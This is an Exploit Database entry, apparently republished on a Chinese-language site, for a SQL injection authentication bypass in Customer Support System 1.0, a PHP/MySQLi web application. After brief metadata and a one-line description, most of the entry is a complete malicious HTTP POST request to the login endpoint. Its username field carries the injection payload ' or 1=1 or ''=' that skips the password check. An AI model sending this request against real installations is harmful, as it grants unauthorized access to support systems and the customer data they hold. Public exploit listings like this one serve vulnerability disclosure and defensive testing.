Customer Support System 1.0 – ‘username’ Authentication Bypass

• Exploit Database
• 17 阅读

• 作者： Ahmed Abbas
  日期： 2020-11-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49030/

• # Title: Customer Support System 1.0 - 'username' Authentication Bypass
  # Date: 2020-11-11
  # Exploit Author: Ahmed Abbas
  # Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
  # Version: 1.0
  # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
  
  
  # Description :Authentication Bypass
  # Vulnerability Details:
  [+] A SQL injection vulnerability in Customer Support System 1.0allows remote unauthenticated attackers to bypass the authentication process via username and password parameters.
   
  
  # Malicious POST Request to https://TARGET
  POST /customer_support/ajax.php?action=login HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 62
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/customer_support/login.php
  Cookie: PHPSESSID=gbattc1r1riap25kr5k2k1ureo
  
  username=' or 1=1 or ''='&password=password&type=1